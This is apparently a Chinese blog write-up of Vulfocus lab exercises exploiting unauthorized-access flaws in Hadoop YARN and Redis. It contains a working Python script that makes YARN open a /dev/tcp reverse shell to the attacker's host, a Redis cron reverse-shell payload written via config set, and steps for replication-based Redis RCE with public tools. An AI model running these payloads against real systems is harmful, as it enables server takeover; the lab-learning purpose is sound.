首页 > 数据库 >什么是未授权访问漏洞?Hadoop & Redis靶场实战——Vulfocus服务攻防

什么是未授权访问漏洞?Hadoop & Redis靶场实战——Vulfocus服务攻防

时间:2024-06-30 23:00:27浏览次数:3  
标签:Vulfocus Redis redis Hadoop 访问 端口 漏洞

什么是未授权访问漏洞?Hadoop & Redis靶场实战——Vulfocus服务攻防

一、介绍

未授权访问,也称为未经授权的访问或非法访问,是指在没有得到适当权限或授权的情况下,个人或系统访问了网络、计算机、数据库、文件、应用程序或其他受保护资源的行为。这种访问可能出于恶意或非恶意的目的,但无论其意图如何,未授权访问都可能导致敏感信息的泄露、数据的篡改或破坏、系统功能的异常,甚至更严重的安全事件。

未授权访问的常见攻击手段包括但不限于:

  1. 1. 利用已知的系统漏洞或弱点。
  2. 2. 通过猜测、破解或窃取密码等认证信息。
  3. 3. 使用恶意软件,如病毒、木马等,来绕过安全机制。
  4. 4. 社交工程,如诱骗用户泄露敏感信息。

二、靶场介绍--Vulfocus

image-20240628174734673

Vulfocus是一个便捷的漏洞集成平台,用户只需加载漏洞环境的Docker镜像即可快速使用。它具备一键启动、自动更新flag、计分考核等特性,适用于安全测试和能力评估。平台兼容Vulhub和Vulapps的镜像,支持可视化配置,是安全人员的理想工具。

在线位置:https://vulfocus.cn/#/dashboard

离线版本:https://github.com/fofapro/vulfocus (即使没有网络也可以在本地进行渗透测试)

Tips:docker 部署过程需要科x上网,本地使用不需要,要么使用国外服务器,使用linux部署靶场我没有找到linux版本的科x上网工具,大多数科x上网工具都是windows的,所以使用windows的版本docker(docker desktop)来部署,使用即可这个坑踩了一天。。。

三、漏洞复现

1、Hadoop

Hadoop是一个由Apache基金会开发的分布式系统基础架构,主要解决海量数据的存储和分析计算问题。它起源于Lucene框架,受Google大数据论文启发,发展出HDFS、MapReduce和Hbase等核心组件。2005年,Hadoop作为Lucene子项目Nutch的一部分加入Apache,2006年成为独立项目。Hadoop的命名来自创始人Doug Cutting儿子的玩具大象,它的诞生标志着云计算时代的到来。

Hadoop的主要用于:

  1. 1. 分布式存储:通过Hadoop分布式文件系统(HDFS),Hadoop能够存储海量数据,提供高吞吐量的数据访问。
  2. 2. 分布式计算:利用MapReduce编程模型,Hadoop能够处理大量数据集,执行并行计算任务,提高数据处理效率。
  3. 3. 数据挖掘和分析:Hadoop支持复杂的数据分析和数据挖掘任务,帮助用户从大规模数据集中提取有价值的信息。

Hadoop YARN的ResourceManager是集群资源分配和调度的关键,若出现未授权访问漏洞,可能使未认证用户访问或操纵资源,引发数据泄露、资源滥用或服务中断。此类安全问题需及时修复,以保护集群安全。

该漏洞涉及版本:hadoop 3.3.0以下

搜索hadoop,启动环境即可

image-20240628230649091

访问靶场给你的第一个ip地址,就可以进入hadoop网页界面

image-20240628212546340

查看版本,2.8.1,存在未授权访问漏洞

image-20240628230533998

使用python脚本进行shell反弹

exp脚本参考:https://www.cnblogs.com/cute-puli/p/14944637.html

#!/usr/bin/env python  
  
import requests  
  
target = 'http://123.58.224.8:32220/'  目标网址
lhost = '用来反弹的ip,公网能访问的ip' # put your local host ip here, and listen at port 9999  
  
url = target + 'ws/v1/cluster/apps/new-application'  
resp = requests.post(url)  
app_id = resp.json()['application-id']  
url = target + 'ws/v1/cluster/apps'  
data = {  
    'application-id': app_id,  
    'application-name': 'get-shell',  
    'am-container-spec': {  
        'commands': {  
            'command': '/bin/bash -i >& /dev/tcp/%s/公网ip监听的端口号 0>&1' % lhost,  
        },  
    },  
    'application-type': 'YARN',  
}  
requests.post(url, json=data)

使用终端或者其他shell工具连接你的公网服务器,我的是centos系统,

终端连接ssh协议

ssh [email protected]

连接之后下载netcat瑞士军刀命令yum install -y nc,启动监听

nc -lvvp 4443

image-20240629164758105

注意,启动监听之前需要放行你监听的防火墙端口,否则之后执行py脚本会导致没有任何反应,查看你的端口放行情况

iptables -L -n -v
-L 表示列出所有规则
-n 表示以数字形式显示地址和端口号
-v 表示显示详细信息

image-20240629162417688

新建一个终端执行你的脚本即可

python .\hadoop-payload.py

反弹成功

image-20240629161403142

再根据题目提示,找到flag提交即可

2、Redis

CNVD-2019-21763是关于Redis数据库的一个远程命令执行漏洞,其原理主要涉及到Redis 4.x及更高版本中新增的模块功能以及主从同步机制的不当使用,它的默认端口为6379,漏洞等级:高危。

image-20240629232057487

端口探测:

由于我启动的vulfocus靶场redis端口为64239,所以nmap扫描命令如下
nmap -v -Pn -p 64239 -sV 123.58.224.8 

发现存在64239 redis服务默认端口

image-20240629223634082

使用redis-cli测试靶机的redis是否支持远程连接,经过测试支持

redis-cli -h 123.58.224.8 -p 64239

然后并且追加如下内容

set xxx "\n\n 1 * * * * /bin/bash -i>& /dev/tcp/10.1.1.100/44330>&1\n\n"

config set dir /var/

config set dbfilename root

save

image-20240629233408677

知识扩展:

在面对大量读写数据时,单个Redis实例可能会承受巨大压力。为了解决这个问题,Redis引入了主从模式。在此模式下,一个Redis实例作为主机,负责处理所有的写操作,而其他实例作为从机,与主机保持数据同步,并专门处理读请求。这种读写分离的策略有效减轻了服务器的负载,是通过增加空间使用来换取系统处理效率的一种策略。进一步地,Redis 4.x版本后,通过新增的模块功能,开发者可以使用C语言编写并编译成.so文件,从而在Redis中实现自定义的新命令,进一步扩展了Redis的功能和应用场景。——主从复制RCE

发现保存的时候怎么也保存不了,又花了半小时,找到了这个方法--手动编译 so 扩展文件,忍不住这回当了脚本小子,执行如下命令

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand

cd RedisModules-ExecuteCommand/

这是我的目录效果

image-20240629232424034

继续

git clone https://github.com/Ridter/redis-rce.git
cd redis-rce/

image-20240629232510843

 cd ../
 
 # 将module.so复制一份到当前目录下的redis-rce
 cp module.so ./redis-rce
 
 # 使用pip安装依赖
 pip install -r requirements.txt

image-20240629232712601

执行攻击之前,需要放行21000端口

python redis-rce.py -r 123.58.236.76(靶机)  -p redis端口 -L vps的IP地址 -f module.so

中途超时了一下所以我的靶场redis端口变成了 11778

image-20240629232836889

redis-cnvd_2015_07557做法同理,更改靶场ip和端口即可

原文链接:什么是未授权访问漏洞?Hadoop & Redis靶场实战——Vulfocus服务攻防

标签:Vulfocus,Redis,redis,Hadoop,访问,端口,漏洞
From: https://blog.csdn.net/xt350488/article/details/140072869

相关文章

  • 【Redis —— 03 SpringBoot整合Redis】
    SpringBoot整合Redis是一种常见的做法,用于提升应用的性能和可扩展性。通过将Redis作为缓存或数据存储,应用可以实现快速的数据读写和高效的资源管理。以下是一个基本的整合步骤:1.引入依赖首先,在你的pom.xml文件中添加Redis和SpringDataRedis的依赖:<!--Sprin......
  • 【Redis —— 04 Redis配置文件】
    Redis配置文件(通常为redis.conf)包含多种配置选项,可以调整Redis服务器的行为和性能。以下是Redis配置文件中的常见配置项及其详解:官网:Redisconfiguration|Docs常用配置项1.基本配置bind绑定的IP地址。如果你想让Redis监听多个IP地址,可以用空格分隔多个IP。示例:b......
  • 【Redis —— 05 RDB & AOF】
    Redis提供了两种持久化方式:RDB(RedisDatabase)和AOF(Append-OnlyFile)。这两种方式各有优缺点,可以根据具体需求进行选择和配置。RDB持久化工作原理RDB通过创建数据库的快照来保存数据到磁盘中。快照是指在某个时刻将所有数据保存到一个二进制文件中,文件的默认名称是dump.......
  • 【Redis —— 06 主从复制配置】
    Redis主从复制(replication)允许一个Redis服务器(称为主服务器)将数据复制到一个或多个Redis服务器(称为从服务器)。这种机制可以用于提高数据的可用性和分布式读取能力。以下是配置Redis主从复制的步骤:主服务器配置在主服务器上,通常不需要进行特殊配置,只需确保Redis服......
  • 【Redis二】Redis数据类型
    目录一.Redis数据类型分布二.字符串类型string 1.概述2.操作三.列表list1.概述2.操作四.哈希hash1.概述2.操作五.无序集合set1.概述2.应用范围3.操作六.有序集合zset1.概述2.应用范围3.操作七.通用命令一.Redis数据类型分布通常Redis的数据类型有五大......
  • Hadoop:全面深入解析
       Hadoop是一个用于大规模数据处理的开源框架,其设计旨在通过集群的方式进行分布式存储和计算。本篇博文将从Hadoop的定义、架构、原理、应用场景以及常见命令等多个方面进行详细探讨,帮助读者全面深入地了解Hadoop。1.Hadoop的定义1.1什么是Hadoop   Hadoop是......
  • 关于锁的使用,千万不要踩这个坑!(附带Synchronized详解和ZooKeeper、Redis等分布式锁详解
    1、分布式锁在分布式系统中,我们经常会使用各种锁来保证数据的一致性和并发安全。一些常见的分布式锁实现包括:基于ZooKeeper的分布式锁:使用ZooKeeper节点的特性来实现分布式锁。基于Redis的分布式锁:利用Redis的原子性操作和过期时间特性来实现分布式锁。Redlock算法:由......
  • Redis常见的16个使用场景
    1、缓存String类型例如:热点数据缓存(例如报表、明星出轨),对象缓存、全页缓存、可以提升热点数据的访问数据。2、数据共享分布式String类型,因为Redis是分布式的独立服务,可以在多个应用之间共享例如:分布式Session<dependency><groupId>org.springframework.session</gr......
  • SpringBoot集成redis配置文件不生效踩坑记录
    SpringBoot版本<parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>3.1.2</version></parent>导入spring-boot-stater-data-redis依赖<depen......
  • Redis 高性能基本操作
    单元素操作是基础单元素操作,是指每一种集合类型对单个数据实现增删改查例如,Hash类型的HGET、HSET和HDEL,Set类型的SADD、SREM、SRANDMEMBER等这些操作的复杂度由集合采用的数据结构决定,例如,HGET、HSET和HDEL是对哈希表做操作,所以它们的复杂度都是O(1)Set类型用......